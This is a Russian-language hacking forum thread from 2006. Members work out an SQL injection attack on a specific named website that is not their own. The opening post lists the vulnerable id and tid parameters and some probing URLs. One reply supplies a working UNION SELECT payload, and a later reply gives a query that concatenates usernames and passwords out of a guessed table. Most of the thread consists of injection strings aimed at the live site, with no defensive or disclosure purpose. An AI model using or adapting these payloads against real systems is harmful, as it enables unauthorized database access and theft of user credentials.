SQL инъекция на Pimpmyguide.com |
30.05.2006, 16:44
|
|
Новичок
Регистрация: 30.05.2006
Сообщений: 4
С нами:
10499281
Репутация:
0
|
|
SQL инъекция на Pimpmyguide.com
Здрасьте.
нашел багу на pimpmyguide.com (эксплойты для онлайн игр).
_http://www.pimpmyguide.com/examine.php?id=5&tid=9
Подвержены значения id и tid:
_http://www.pimpmyguide.com/examine.php?id=5&tid=9 or tid=6 LIMIT 10--
У самого опыта маловато, вообщем, попытался узнать, поддерживает ли сервер вложенные запросы
_http://www.pimpmyguide.com/examine.php?id=5&tid=(SELECT 9) работает, а (SELECT 3+6) не работает 
Значит нет?
_http://www.pimpmyguide.com/examine.php?id=5&tid=6 UNION SELECT null,null,null,null --
- нулей пробовал кучу, все равно не хочет.
Хочется контент получить,.. Кто нибудь может помочь?
Спасибо.
Последний раз редактировалось Inviz; 30.05.2006 в 16:55..
|
|
|
01.06.2006, 11:12
|
|
Новичок
Регистрация: 31.03.2006
Сообщений: 23
С нами:
10585702
Репутация:
2
|
|
Сообщение от Inviz
Здрасьте.
нашел багу на pimpmyguide.com (эксплойты для онлайн игр).
_http://www.pimpmyguide.com/examine.php?id=5&tid=9
Подвержены значения id и tid:
_http://www.pimpmyguide.com/examine.php?id=5&tid=9 or tid=6 LIMIT 10--
У самого опыта маловато, вообщем, попытался узнать, поддерживает ли сервер вложенные запросы
_http://www.pimpmyguide.com/examine.php?id=5&tid=(SELECT 9) работает, а (SELECT 3+6) не работает
Значит нет?
_http://www.pimpmyguide.com/examine.php?id=5&tid=6 UNION SELECT null,null,null,null --
- нулей пробовал кучу, все равно не хочет.
Хочется контент получить,.. Кто нибудь может помочь?
Спасибо. Держи
http://www.pimpmyguide.com/examine.php?id=5&tid=9+union+select+1,2,3,4,char(1 16,101,115,116),6/*
|
|
|
|
04.07.2006, 01:44
|
|
Banned
Регистрация: 26.07.2005
Сообщений: 240
С нами:
10942946
Репутация:
75
|
|
Сообщение от ProblemaT2
Держи
[forbidden link]
а смысл то с этого какой????
можно узнать версию, ну тоже смысла мало, вобщем подбирай название таблицы и составь запрос типа такого
_http://www.pimpmyguide.com/examine.php?id=1%20union%20select%201,2,3,4,concat (uname,char(58),passwd),6 from название_таблицы/* и читай статьи
Последний раз редактировалось VIYu; 04.07.2006 в 01:47..
|
|
|
|
|
 |
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Комбинированный вид
